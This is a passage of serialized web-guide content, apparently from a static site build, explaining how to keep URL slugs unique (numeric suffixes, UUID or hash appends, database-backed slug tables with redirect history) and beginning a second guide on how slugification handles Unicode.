safeNumericSlug",[1560,186407,1688],{"class":1570},[1560,186409,186228],{"class":2219},[1560,186411,1459],{"class":1570},[1560,186413,186414],{"class":2219},"saveSlug",[1560,186416,9345],{"class":1570},[1560,186418,186419,186421,186424,186426],{"class":1562,"line":337},[1560,186420,38049],{"class":1669},[1560,186422,186423],{"class":1570}," slug ",[1560,186425,7297],{"class":1669},[1560,186427,186255],{"class":1570},[1560,186429,186430,186432,186434,186436],{"class":1562,"line":343},[1560,186431,38049],{"class":1669},[1560,186433,186266],{"class":1570},[1560,186435,7297],{"class":1669},[1560,186437,28389],{"class":1576},[1560,186439,186440],{"class":1562,"line":365},[1560,186441,1702],{"emptyLinePlaceholder":363},[1560,186443,186444,186446,186448,186450],{"class":1562,"line":889},[1560,186445,38062],{"class":1669},[1560,186447,5181],{"class":1570},[1560,186449,20533],{"class":1576},[1560,186451,9345],{"class":1570},[1560,186453,186454,186457],{"class":1562,"line":1710},[1560,186455,186456],{"class":1669},"    try",[1560,186458,1571],{"class":1570},[1560,186460,186461,186463,186466,186469],{"class":1562,"line":1717},[1560,186462,82353],{"class":1669},[1560,186464,186465],{"class":1566}," saveSlug",[1560,186467,186468],{"class":1570},"(slug)  ",[1560,186470,186471],{"class":1649},"\u002F\u002F INSERT with unique constraint\n",[1560,186473,186474,186476],{"class":1562,"line":1747},[1560,186475,28249],{"class":1669},[1560,186477,186478],{"class":1570}," slug\n",[1560,186480,186481,186483,186485],{"class":1562,"line":2507},[1560,186482,158219],{"class":1570},[1560,186484,102287],{"class":1669},[1560,186486,186487],{"class":1570}," (error) {\n",[1560,186489,186490,186492,186495,186497,186500,186502,186504],{"class":1562,"line":2524},[1560,186491,28220],{"class":1669},[1560,186493,186494],{"class":1570}," (error.code ",[1560,186496,13538],{"class":1669},[1560,186498,186499],{"class":5634}," 'UNIQUE_CONSTRAINT'",[1560,186501,1733],{"class":1570},[1560,186503,28006],{"class":1669},[1560,186505,186506],{"class":1570}," error\n",[1560,186508,186509,186512],{"class":1562,"line":2529},[1560,186510,186511],{"class":1570},"      counter",[1560,186513,89069],{"class":1669},[1560,186515,186516,186519,186521,186523,186525,186527,186529],{"class":1562,"line":2534},[1560,186517,186518],{"class":1570},"      slug ",[1560,186520,7297],{"class":1669},[1560,186522,34367],{"class":5634},[1560,186524,186228],{"class":1570},[1560,186526,186289],{"class":5634},[1560,186528,149695],{"class":1570},[1560,186530,100442],{"class":5634},[1560,186532,186533],{"class":1562,"line":2542},[1560,186534,11612],{"class":1570},[1560,186536,186537],{"class":1562,"line":2558},[1560,186538,4959],{"class":1570},[1560,186540,186541],{"class":1562,"line":2570},[1560,186542,1585],{"class":1570},[11,186544,186546],{"id":186545},"strategy-2-uuid-or-hash-appends","Strategy 2: UUID or Hash Appends",[16,186548,186549],{},"Append a short unique identifier to guarantee uniqueness without database queries:",[135,186551,186553],{"className":1607,"code":186552,"language":1609,"meta":141,"style":141},"function uuidSlug(baseSlug) {\n  const id = crypto.randomUUID().slice(0, 8)  \u002F\u002F First 8 chars of UUID v4\n  return `${baseSlug}-${id}`\n}\n\n\u002F\u002F Results:\n\u002F\u002F 'introduction-to-python-a3f1c8e7'\n\u002F\u002F 'introduction-to-python-7b2d9f41'\n",[143,186554,186555,186568,186597,186611,186615,186619,186623,186628],{"__ignoreMap":141},[1560,186556,186557,186559,186562,186564,186566],{"class":1562,"line":1563},[1560,186558,8648],{"class":1669},[1560,186560,186561],{"class":1566}," uuidSlug",[1560,186563,1688],{"class":1570},[1560,186565,186228],{"class":2219},[1560,186567,9345],{"class":1570},[1560,186569,186570,186572,186574,186576,186578,186580,186582,186584,186586,186588,186590,186592,186594],{"class":1562,"line":337},[1560,186571,28057],{"class":1669},[1560,186573,43519],{"class":1576},[1560,186575,8186],{"class":1669},[1560,186577,41913],{"class":1570},[1560,186579,138970],{"class":1566},[1560,186581,42138],{"class":1570},[1560,186583,38951],{"class":1566},[1560,186585,1688],{"class":1570},[1560,186587,5285],{"class":1576},[1560,186589,1459],{"class":1570},[1560,186591,10078],{"class":1576},[1560,186593,10060],{"class":1570},[1560,186595,186596],{"class":1649},"\u002F\u002F First 8 chars of UUID v4\n",[1560,186598,186599,186601,186603,186605,186607,186609],{"class":1562,"line":343},[1560,186600,9350],{"class":1669},[1560,186602,34367],{"class":5634},[1560,186604,186228],{"class":1570},[1560,186606,186289],{"class":5634},[1560,186608,34747],{"class":1570},[1560,186610,100442],{"class":5634},[1560,186612,186613],{"class":1562,"line":365},[1560,186614,1585],{"class":1570},[1560,186616,186617],{"class":1562,"line":889},[1560,186618,1702],{"emptyLinePlaceholder":363},[1560,186620,186621],{"class":1562,"line":1710},[1560,186622,186333],{"class":1649},[1560,186624,186625],{"class":1562,"line":1717},[1560,186626,186627],{"class":1649},"\u002F\u002F 'introduction-to-python-a3f1c8e7'\n",[1560,186629,186630],{"class":1562,"line":1747},[1560,186631,186632],{"class":1649},"\u002F\u002F 'introduction-to-python-7b2d9f41'\n",[16,186634,186635,8037],{},[47,186636,99176],{},[41,186638,186639,186642,186645,186648],{},[44,186640,186641],{},"No database query needed — uniqueness is probabilistically guaranteed",[44,186643,186644],{},"No race conditions",[44,186646,186647],{},"No sequential numbering gaps",[44,186649,186650],{},"Short IDs (8 hex chars = 4 billion combinations) are sufficient for collision avoidance",[16,186652,186653,8037],{},[47,186654,186367],{},[41,186656,186657,186660,186663],{},[44,186658,186659],{},"URLs are longer and less memorable",[44,186661,186662],{},"The random suffix carries no meaning",[44,186664,186665],{},"Aesthetically less clean than numeric suffixes",[16,186667,186668,186671],{},[47,186669,186670],{},"Collision probability",": For 8 hex characters (32 bits), the birthday problem gives a 50% collision chance at roughly 65,536 slugs with the same base. For most sites, this is more than adequate. If you need stronger guarantees, use 12 characters (48 bits, 50% collision at ~16 million).",[16,186673,186674],{},"A compromise variant uses a content-based hash instead of random:",[135,186676,186678],{"className":1607,"code":186677,"language":1609,"meta":141,"style":141},"function hashSlug(baseSlug, content) {\n  const hash = hashString(content).toString(36).slice(0, 6)\n  return `${baseSlug}-${hash}`\n}\n\n\u002F\u002F Same title + same content → same slug (idempotent)\n\u002F\u002F Same title + different content → different slug (disambiguated)\n",[143,186679,186680,186697,186731,186745,186749,186753,186758],{"__ignoreMap":141},[1560,186681,186682,186684,186687,186689,186691,186693,186695],{"class":1562,"line":1563},[1560,186683,8648],{"class":1669},[1560,186685,186686],{"class":1566}," hashSlug",[1560,186688,1688],{"class":1570},[1560,186690,186228],{"class":2219},[1560,186692,1459],{"class":1570},[1560,186694,63339],{"class":2219},[1560,186696,9345],{"class":1570},[1560,186698,186699,186701,186703,186705,186708,186711,186713,186715,186717,186719,186721,186723,186725,186727,186729],{"class":1562,"line":337},[1560,186700,28057],{"class":1669},[1560,186702,151591],{"class":1576},[1560,186704,8186],{"class":1669},[1560,186706,186707],{"class":1566}," hashString",[1560,186709,186710],{"class":1570},"(content).",[1560,186712,10052],{"class":1566},[1560,186714,1688],{"class":1570},[1560,186716,42145],{"class":1576},[1560,186718,9368],{"class":1570},[1560,186720,38951],{"class":1566},[1560,186722,1688],{"class":1570},[1560,186724,5285],{"class":1576},[1560,186726,1459],{"class":1570},[1560,186728,44593],{"class":1576},[1560,186730,8252],{"class":1570},[1560,186732,186733,186735,186737,186739,186741,186743],{"class":1562,"line":343},[1560,186734,9350],{"class":1669},[1560,186736,34367],{"class":5634},[1560,186738,186228],{"class":1570},[1560,186740,186289],{"class":5634},[1560,186742,151663],{"class":1570},[1560,186744,100442],{"class":5634},[1560,186746,186747],{"class":1562,"line":365},[1560,186748,1585],{"class":1570},[1560,186750,186751],{"class":1562,"line":889},[1560,186752,1702],{"emptyLinePlaceholder":363},[1560,186754,186755],{"class":1562,"line":1710},[1560,186756,186757],{"class":1649},"\u002F\u002F Same title + same content → same slug (idempotent)\n",[1560,186759,186760],{"class":1562,"line":1717},[1560,186761,186762],{"class":1649},"\u002F\u002F Same title + different content → different slug (disambiguated)\n",[16,186764,186765],{},"This makes the slug deterministic — the same article always gets the same slug, which is useful for content migration and CI\u002FCD pipelines.",[11,186767,186769],{"id":186768},"strategy-3-database-driven-uniqueness","Strategy 3: Database-Driven Uniqueness",[16,186771,186772],{},"Store slugs in a dedicated table with controlled allocation:",[135,186774,186776],{"className":23599,"code":186775,"language":23601,"meta":141,"style":141},"CREATE TABLE slugs (\n  slug VARCHAR(255) PRIMARY KEY,\n  entity_type VARCHAR(50) NOT NULL,\n  entity_id BIGINT NOT NULL,\n  created_at TIMESTAMP DEFAULT NOW()\n);\n\nCREATE INDEX idx_slugs_entity ON slugs(entity_type, entity_id);\n",[143,186777,186778,186783,186788,186793,186798,186803,186807,186811],{"__ignoreMap":141},[1560,186779,186780],{"class":1562,"line":1563},[1560,186781,186782],{},"CREATE TABLE slugs (\n",[1560,186784,186785],{"class":1562,"line":337},[1560,186786,186787],{},"  slug VARCHAR(255) PRIMARY KEY,\n",[1560,186789,186790],{"class":1562,"line":343},[1560,186791,186792],{},"  entity_type VARCHAR(50) NOT NULL,\n",[1560,186794,186795],{"class":1562,"line":365},[1560,186796,186797],{},"  entity_id BIGINT NOT NULL,\n",[1560,186799,186800],{"class":1562,"line":889},[1560,186801,186802],{},"  created_at TIMESTAMP DEFAULT NOW()\n",[1560,186804,186805],{"class":1562,"line":1710},[1560,186806,1744],{},[1560,186808,186809],{"class":1562,"line":1717},[1560,186810,1702],{"emptyLinePlaceholder":363},[1560,186812,186813],{"class":1562,"line":1747},[1560,186814,186815],{},"CREATE INDEX idx_slugs_entity ON slugs(entity_type, entity_id);\n",[135,186817,186819],{"className":1607,"code":186818,"language":1609,"meta":141,"style":141},"async function allocateSlug(baseSlug, entityType, entityId, pool) {\n  let slug = baseSlug\n  let counter = 1\n\n  while (true) {\n    try {\n      await pool.query(\n        'INSERT INTO slugs (slug, entity_type, entity_id) VALUES ($1, $2, $3)',\n        [slug, entityType, entityId]\n      )\n      return slug\n    } catch (error) {\n      if (error.code !== '23505') throw error  \u002F\u002F unique_violation\n      counter++\n      slug = `${baseSlug}-${counter}`\n    }\n  }\n}\n",[143,186820,186821,186851,186861,186871,186875,186885,186891,186902,186909,186914,186919,186925,186933,186954,186960,186976,186980,186984],{"__ignoreMap":141},[1560,186822,186823,186825,186827,186830,186832,186834,186836,186839,186841,186844,186846,186849],{"class":1562,"line":1563},[1560,186824,82166],{"class":1669},[1560,186826,38314],{"class":1669},[1560,186828,186829],{"class":1566}," allocateSlug",[1560,186831,1688],{"class":1570},[1560,186833,186228],{"class":2219},[1560,186835,1459],{"class":1570},[1560,186837,186838],{"class":2219},"entityType",[1560,186840,1459],{"class":1570},[1560,186842,186843],{"class":2219},"entityId",[1560,186845,1459],{"class":1570},[1560,186847,186848],{"class":2219},"pool",[1560,186850,9345],{"class":1570},[1560,186852,186853,186855,186857,186859],{"class":1562,"line":337},[1560,186854,38049],{"class":1669},[1560,186856,186423],{"class":1570},[1560,186858,7297],{"class":1669},[1560,186860,186255],{"class":1570},[1560,186862,186863,186865,186867,186869],{"class":1562,"line":343},[1560,186864,38049],{"class":1669},[1560,186866,186266],{"class":1570},[1560,186868,7297],{"class":1669},[1560,186870,28389],{"class":1576},[1560,186872,186873],{"class":1562,"line":365},[1560,186874,1702],{"emptyLinePlaceholder":363},[1560,186876,186877,186879,186881,186883],{"class":1562,"line":889},[1560,186878,38062],{"class":1669},[1560,186880,5181],{"class":1570},[1560,186882,20533],{"class":1576},[1560,186884,9345],{"class":1570},[1560,186886,186887,186889],{"class":1562,"line":1710},[1560,186888,186456],{"class":1669},[1560,186890,1571],{"class":1570},[1560,186892,186893,186895,186898,186900],{"class":1562,"line":1717},[1560,186894,82353],{"class":1669},[1560,186896,186897],{"class":1570}," pool.",[1560,186899,34083],{"class":1566},[1560,186901,35957],{"class":1570},[1560,186903,186904,186907],{"class":1562,"line":1747},[1560,186905,186906],{"class":5634},"        'INSERT INTO slugs (slug, entity_type, entity_id) VALUES ($1, $2, $3)'",[1560,186908,11943],{"class":1570},[1560,186910,186911],{"class":1562,"line":2507},[1560,186912,186913],{"class":1570},"        [slug, entityType, entityId]\n",[1560,186915,186916],{"class":1562,"line":2524},[1560,186917,186918],{"class":1570},"      )\n",[1560,186920,186921,186923],{"class":1562,"line":2529},[1560,186922,28249],{"class":1669},[1560,186924,186478],{"class":1570},[1560,186926,186927,186929,186931],{"class":1562,"line":2534},[1560,186928,158219],{"class":1570},[1560,186930,102287],{"class":1669},[1560,186932,186487],{"class":1570},[1560,186934,186935,186937,186939,186941,186944,186946,186948,186951],{"class":1562,"line":2542},[1560,186936,28220],{"class":1669},[1560,186938,186494],{"class":1570},[1560,186940,13538],{"class":1669},[1560,186942,186943],{"class":5634}," '23505'",[1560,186945,1733],{"class":1570},[1560,186947,28006],{"class":1669},[1560,186949,186950],{"class":1570}," error  ",[1560,186952,186953],{"class":1649},"\u002F\u002F unique_violation\n",[1560,186955,186956,186958],{"class":1562,"line":2558},[1560,186957,186511],{"class":1570},[1560,186959,89069],{"class":1669},[1560,186961,186962,186964,186966,186968,186970,186972,186974],{"class":1562,"line":2570},[1560,186963,186518],{"class":1570},[1560,186965,7297],{"class":1669},[1560,186967,34367],{"class":5634},[1560,186969,186228],{"class":1570},[1560,186971,186289],{"class":5634},[1560,186973,149695],{"class":1570},[1560,186975,100442],{"class":5634},[1560,186977,186978],{"class":1562,"line":6638},[1560,186979,11612],{"class":1570},[1560,186981,186982],{"class":1562,"line":11615},[1560,186983,4959],{"class":1570},[1560,186985,186986],{"class":1562,"line":11621},[1560,186987,1585],{"class":1570},[16,186989,186990,8037],{},[47,186991,99176],{},[41,186993,186994,186997,187000],{},[44,186995,186996],{},"Central slug registry enables redirects when slugs change",[44,186998,186999],{},"Supports slug history — old slugs can 301-redirect to current ones",[44,187001,187002],{},"Entity association enables bulk operations (e.g., redirect all slugs for a deleted article)",[16,187004,187005,8037],{},[47,187006,186367],{},[41,187008,187009,187012,187015],{},[44,187010,187011],{},"Additional database table and queries",[44,187013,187014],{},"More complex migration and backup considerations",[44,187016,187017],{},"Overkill for small sites",[11,187019,187021],{"id":187020},"slug-history-and-redirects","Slug History and Redirects",[16,187023,187024],{},"When an article's title changes, its slug should change too — but the old slug must still work. A slug history table solves this:",[135,187026,187028],{"className":23599,"code":187027,"language":23601,"meta":141,"style":141},"CREATE TABLE slug_history (\n  old_slug VARCHAR(255) PRIMARY KEY,\n  new_slug VARCHAR(255) NOT NULL,\n  redirected_at TIMESTAMP DEFAULT NOW()\n);\n",[143,187029,187030,187035,187040,187045,187050],{"__ignoreMap":141},[1560,187031,187032],{"class":1562,"line":1563},[1560,187033,187034],{},"CREATE TABLE slug_history (\n",[1560,187036,187037],{"class":1562,"line":337},[1560,187038,187039],{},"  old_slug VARCHAR(255) PRIMARY KEY,\n",[1560,187041,187042],{"class":1562,"line":343},[1560,187043,187044],{},"  new_slug VARCHAR(255) NOT NULL,\n",[1560,187046,187047],{"class":1562,"line":365},[1560,187048,187049],{},"  redirected_at TIMESTAMP DEFAULT NOW()\n",[1560,187051,187052],{"class":1562,"line":889},[1560,187053,1744],{},[135,187055,187057],{"className":1607,"code":187056,"language":1609,"meta":141,"style":141},"async function updateSlug(entityType, entityId, newSlug, pool) {\n  const oldSlug = await getCurrentSlug(entityType, entityId, pool)\n  if (oldSlug === newSlug) return\n\n  await pool.query('BEGIN')\n  try {\n    await pool.query(\n      'UPDATE slugs SET slug = $1 WHERE entity_type = $2 AND entity_id = $3',\n      [newSlug, entityType, entityId]\n    )\n    await pool.query(\n      'INSERT INTO slug_history (old_slug, new_slug) VALUES ($1, $2)',\n      [oldSlug, newSlug]\n    )\n    await pool.query('COMMIT')\n  } catch (error) {\n    await pool.query('ROLLBACK')\n    throw error\n  }\n}\n",[143,187058,187059,187087,187104,187119,187123,187138,187144,187154,187161,187166,187170,187180,187187,187192,187196,187211,187219,187234,187240,187244],{"__ignoreMap":141},[1560,187060,187061,187063,187065,187068,187070,187072,187074,187076,187078,187081,187083,187085],{"class":1562,"line":1563},[1560,187062,82166],{"class":1669},[1560,187064,38314],{"class":1669},[1560,187066,187067],{"class":1566}," updateSlug",[1560,187069,1688],{"class":1570},[1560,187071,186838],{"class":2219},[1560,187073,1459],{"class":1570},[1560,187075,186843],{"class":2219},[1560,187077,1459],{"class":1570},[1560,187079,187080],{"class":2219},"newSlug",[1560,187082,1459],{"class":1570},[1560,187084,186848],{"class":2219},[1560,187086,9345],{"class":1570},[1560,187088,187089,187091,187094,187096,187098,187101],{"class":1562,"line":337},[1560,187090,28057],{"class":1669},[1560,187092,187093],{"class":1576}," oldSlug",[1560,187095,8186],{"class":1669},[1560,187097,28065],{"class":1669},[1560,187099,187100],{"class":1566}," getCurrentSlug",[1560,187102,187103],{"class":1570},"(entityType, entityId, pool)\n",[1560,187105,187106,187108,187111,187113,187116],{"class":1562,"line":343},[1560,187107,27984],{"class":1669},[1560,187109,187110],{"class":1570}," (oldSlug ",[1560,187112,23122],{"class":1669},[1560,187114,187115],{"class":1570}," newSlug) ",[1560,187117,187118],{"class":1669},"return\n",[1560,187120,187121],{"class":1562,"line":365},[1560,187122,1702],{"emptyLinePlaceholder":363},[1560,187124,187125,187127,187129,187131,187133,187136],{"class":1562,"line":889},[1560,187126,28084],{"class":1669},[1560,187128,186897],{"class":1570},[1560,187130,34083],{"class":1566},[1560,187132,1688],{"class":1570},[1560,187134,187135],{"class":5634},"'BEGIN'",[1560,187137,8252],{"class":1570},[1560,187139,187140,187142],{"class":1562,"line":1710},[1560,187141,102223],{"class":1669},[1560,187143,1571],{"class":1570},[1560,187145,187146,187148,187150,187152],{"class":1562,"line":1717},[1560,187147,139085],{"class":1669},[1560,187149,186897],{"class":1570},[1560,187151,34083],{"class":1566},[1560,187153,35957],{"class":1570},[1560,187155,187156,187159],{"class":1562,"line":1747},[1560,187157,187158],{"class":5634},"      'UPDATE slugs SET slug = $1 WHERE entity_type = $2 AND entity_id = $3'",[1560,187160,11943],{"class":1570},[1560,187162,187163],{"class":1562,"line":2507},[1560,187164,187165],{"class":1570},"      [newSlug, entityType, entityId]\n",[1560,187167,187168],{"class":1562,"line":2524},[1560,187169,39137],{"class":1570},[1560,187171,187172,187174,187176,187178],{"class":1562,"line":2529},[1560,187173,139085],{"class":1669},[1560,187175,186897],{"class":1570},[1560,187177,34083],{"class":1566},[1560,187179,35957],{"class":1570},[1560,187181,187182,187185],{"class":1562,"line":2534},[1560,187183,187184],{"class":5634},"      'INSERT INTO slug_history (old_slug, new_slug) VALUES ($1, $2)'",[1560,187186,11943],{"class":1570},[1560,187188,187189],{"class":1562,"line":2542},[1560,187190,187191],{"class":1570},"      [oldSlug, newSlug]\n",[1560,187193,187194],{"class":1562,"line":2558},[1560,187195,39137],{"class":1570},[1560,187197,187198,187200,187202,187204,187206,187209],{"class":1562,"line":2570},[1560,187199,139085],{"class":1669},[1560,187201,186897],{"class":1570},[1560,187203,34083],{"class":1566},[1560,187205,1688],{"class":1570},[1560,187207,187208],{"class":5634},"'COMMIT'",[1560,187210,8252],{"class":1570},[1560,187212,187213,187215,187217],{"class":1562,"line":6638},[1560,187214,102284],{"class":1570},[1560,187216,102287],{"class":1669},[1560,187218,186487],{"class":1570},[1560,187220,187221,187223,187225,187227,187229,187232],{"class":1562,"line":11615},[1560,187222,139085],{"class":1669},[1560,187224,186897],{"class":1570},[1560,187226,34083],{"class":1566},[1560,187228,1688],{"class":1570},[1560,187230,187231],{"class":5634},"'ROLLBACK'",[1560,187233,8252],{"class":1570},[1560,187235,187236,187238],{"class":1562,"line":11621},[1560,187237,139096],{"class":1669},[1560,187239,186506],{"class":1570},[1560,187241,187242],{"class":1562,"line":11633},[1560,187243,4959],{"class":1570},[1560,187245,187246],{"class":1562,"line":11638},[1560,187247,1585],{"class":1570},[16,187249,187250,187251,187254],{},"When a request comes in for the old slug, check ",[143,187252,187253],{},"slug_history"," and respond with a 301 redirect to the new one. This preserves SEO equity — search engines transfer link authority through 301s.",[11,187256,187258],{"id":187257},"choosing-a-strategy","Choosing a Strategy",[193,187260,187261,187271],{},[196,187262,187263],{},[199,187264,187265,187268],{},[202,187266,187267],{},"Site Size",[202,187269,187270],{},"Recommended Strategy",[211,187272,187273,187281,187289,187297],{},[199,187274,187275,187278],{},[216,187276,187277],{},"Blog (\u003C 100 posts)",[216,187279,187280],{},"Numeric suffixes",[199,187282,187283,187286],{},[216,187284,187285],{},"Medium (\u003C 10K pages)",[216,187287,187288],{},"Hash appends",[199,187290,187291,187294],{},[216,187292,187293],{},"Large (10K+ pages)",[216,187295,187296],{},"Database-driven with history",[199,187298,187299,187301],{},[216,187300,186160],{},[216,187302,187303],{},"UUID appends (concurrency-safe)",[16,187305,187306,187307,187309],{},"Generate unique slugs instantly at ",[98,187308,156904],{"href":156904},", which handles collision detection and supports numeric suffix, hash, and custom suffix modes for any content management workflow.",[2043,187311,187312],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":187314},[187315,187316,187317,187318,187319,187320],{"id":186131,"depth":337,"text":186132},{"id":186205,"depth":337,"text":186206},{"id":186545,"depth":337,"text":186546},{"id":186768,"depth":337,"text":186769},{"id":187020,"depth":337,"text":187021},{"id":187257,"depth":337,"text":187258},"Numeric suffixes, UUID appends, and database-driven approaches for unique URL slugs.",{},"\u002Fguides\u002Fslug-uniqueness-strategies",{"title":186123,"description":187321},"guides\u002Fslug-uniqueness-strategies","kE4TldiquA5y1OiLX29RfgGXiGmPMlTNitOkUws8PFM",{"id":187328,"title":182703,"body":187329,"date":2070,"description":188040,"extension":361,"meta":188041,"navigation":363,"path":182702,"readingTime":889,"seo":188042,"stem":188043,"__hash__":188044},"guides\u002Fguides\u002Fslugification-how-it-works.md",{"type":8,"value":187330,"toc":188020},[187331,187335,187341,187344,187348,187351,187355,187358,187364,187367,187371,187374,187458,187462,187465,187471,187475,187481,187487,187491,187494,187500,187504,187507,187513,187517,187520,187586,187589,187624,187628,187631,187733,187737,187789,187793,187876,187880,187883,187955,187968,187970,187990,187992,188006,188008,188017],[11,187332,187334],{"id":187333},"what-is-slugification","What Is Slugification?",[16,187336,187337,187338,468],{},"Slugification is the process of converting a human-readable title into a URL-safe string. It transforms text like \"How to Build a REST API\" into ",[143,187339,187340],{},"how-to-build-a-rest-api",[16,187342,187343],{},"The algorithm strips away anything a URL cannot safely carry: special characters, accents, spaces, and non-ASCII text. What remains is a lowercase, hyphen-separated string that works in any browser.",[11,187345,187347],{"id":187346},"the-slugification-pipeline","The Slugification Pipeline",[16,187349,187350],{},"Slugification follows a predictable sequence of steps. Each step narrows the input until only URL-safe characters remain.",[33,187352,187354],{"id":187353},"step-1-unicode-normalization-nfkd","Step 1: Unicode Normalization (NFKD)",[16,187356,187357],{},"The input text is first normalized using NFKD (Normalization Form Compatibility Decomposition). This step separates base characters from their combining marks.",[135,187359,187362],{"className":187360,"code":187361,"language":140},[138],"é → e + ◌́  (LATIN SMALL LETTER E + COMBINING ACUTE ACCENT)\nü → u + ◌̈  (LATIN SMALL LETTER U + COMBINING DIAERESIS)\n",[143,187363,187361],{"__ignoreMap":141},[16,187365,187366],{},"NFKD is preferred over NFC because it decomposes characters, making the next step — stripping diacritics — possible.",[33,187368,187370],{"id":187369},"step-2-remove-diacritics","Step 2: Remove Diacritics",[16,187372,187373],{},"After decomposition, the combining marks are stripped. This converts accented characters to their closest ASCII equivalent.",[193,187375,187376,187388],{},[196,187377,187378],{},[199,187379,187380,187382,187385],{},[202,187381,39500],{},[202,187383,187384],{},"After NFKD",[202,187386,187387],{},"After Stripping",[211,187389,187390,187407,187424,187441],{},[199,187391,187392,187397,187402],{},[216,187393,187394],{},[143,187395,187396],{},"café",[216,187398,187399],{},[143,187400,187401],{},"cafe + ◌́",[216,187403,187404],{},[143,187405,187406],{},"cafe",[199,187408,187409,187414,187419],{},[216,187410,187411],{},[143,187412,187413],{},"über",[216,187415,187416],{},[143,187417,187418],{},"uber + ◌̈",[216,187420,187421],{},[143,187422,187423],{},"uber",[199,187425,187426,187431,187436],{},[216,187427,187428],{},[143,187429,187430],{},"piñata",[216,187432,187433],{},[143,187434,187435],{},"pinata + ◌̃",[216,187437,187438],{},[143,187439,187440],{},"pinata",[199,187442,187443,187448,187453],{},[216,187444,187445],{},[143,187446,187447],{},"naïve",[216,187449,187450],{},[143,187451,187452],{},"nai + ◌̈ + ve",[216,187454,187455],{},[143,187456,187457],{},"naive",[33,187459,187461],{"id":187460},"step-3-remove-non-word-characters","Step 3: Remove Non-Word Characters",[16,187463,187464],{},"Any character that is not a letter, digit, or space is removed. This eliminates punctuation, symbols, and other special characters.",[135,187466,187469],{"className":187467,"code":187468,"language":140},[138],"\"How to: Build an API!\" → \"How to Build an API\"\n\"Price: $9.99 (50% off)\" → \"Price 999 50 off\"\n\"C++ & Python\" → \"C Python\"\n",[143,187470,187468],{"__ignoreMap":141},[33,187472,187474],{"id":187473},"step-4-replace-spaces-with-separators","Step 4: Replace Spaces With Separators",[16,187476,187477,187478,187480],{},"Spaces are converted to the chosen separator — typically a hyphen (",[143,187479,9412],{},"). This creates word boundaries in the slug.",[135,187482,187485],{"className":187483,"code":187484,"language":140},[138],"\"How to Build an API\" → \"How-to-Build-an-API\"\n",[143,187486,187484],{"__ignoreMap":141},[33,187488,187490],{"id":187489},"step-5-collapse-multiple-separators","Step 5: Collapse Multiple Separators",[16,187492,187493],{},"Consecutive separators are reduced to a single instance. This happens when the original text had multiple spaces or when removed characters left gaps.",[135,187495,187498],{"className":187496,"code":187497,"language":140},[138],"\"C  Python\" → \"C---Python\" → \"C-Python\"\n",[143,187499,187497],{"__ignoreMap":141},[33,187501,187503],{"id":187502},"step-6-convert-to-lowercase-and-trim","Step 6: Convert to Lowercase and Trim",[16,187505,187506],{},"The final step lowercases everything and removes leading and trailing separators.",[135,187508,187511],{"className":187509,"code":187510,"language":140},[138],"\"How-to-Build-an-API\" → \"how-to-build-an-api\"\n",[143,187512,187510],{"__ignoreMap":141},[11,187514,187516],{"id":187515},"the-unicode-challenge","The Unicode Challenge",[16,187518,187519],{},"Slugification works cleanly for Latin scripts. For other writing systems, the results vary:",[193,187521,187522,187532],{},[196,187523,187524],{},[199,187525,187526,187528,187530],{},[202,187527,39500],{},[202,187529,185433],{},[202,187531,71554],{},[211,187533,187534,187547,187559,187571],{},[199,187535,187536,187541,187544],{},[216,187537,187538],{},[143,187539,187540],{},"こんにちは",[216,187542,187543],{},"`` (empty)",[216,187545,187546],{},"Japanese characters have no ASCII mapping",[199,187548,187549,187554,187556],{},[216,187550,187551],{},[143,187552,187553],{},"Привет мир",[216,187555,187543],{},[216,187557,187558],{},"Cyrillic characters are stripped entirely",[199,187560,187561,187566,187568],{},[216,187562,187563],{},[143,187564,187565],{},"你好世界",[216,187567,187543],{},[216,187569,187570],{},"Chinese characters decompose to nothing",[199,187572,187573,187578,187583],{},[216,187574,187575],{},[143,187576,187577],{},"café résumé",[216,187579,187580],{},[143,187581,187582],{},"cafe-resume",[216,187584,187585],{},"Latin diacritics convert cleanly",[16,187587,187588],{},"For non-Latin content, you have three options:",[41,187590,187591,187608,187618],{},[44,187592,187593,187596,187597,52609,187599,1459,187602,52609,187605,468],{},[47,187594,187595],{},"Transliterate."," Use a library that maps characters to phonetic ASCII equivalents: ",[143,187598,187540],{},[143,187600,187601],{},"konnichiha",[143,187603,187604],{},"Привет",[143,187606,187607],{},"privet",[44,187609,187610,187613,187614,187617],{},[47,187611,187612],{},"Use the raw Unicode."," Some systems allow Unicode slugs (",[143,187615,187616],{},"\u002Fこんにちは","), but this hurts readability and URL sharing.",[44,187619,187620,187623],{},[47,187621,187622],{},"Generate a separate slug manually."," Write a descriptive ASCII slug instead of auto-generating from the title.",[11,187625,187627],{"id":187626},"slugify-libraries-compared","Slugify Libraries Compared",[16,187629,187630],{},"Most programming ecosystems have slugify libraries. Here is a comparison of the popular options:",[193,187632,187633,187651],{},[196,187634,187635],{},[199,187636,187637,187640,187642,187645,187648],{},[202,187638,187639],{},"Library",[202,187641,9824],{},[202,187643,187644],{},"Unicode Handling",[202,187646,187647],{},"Custom 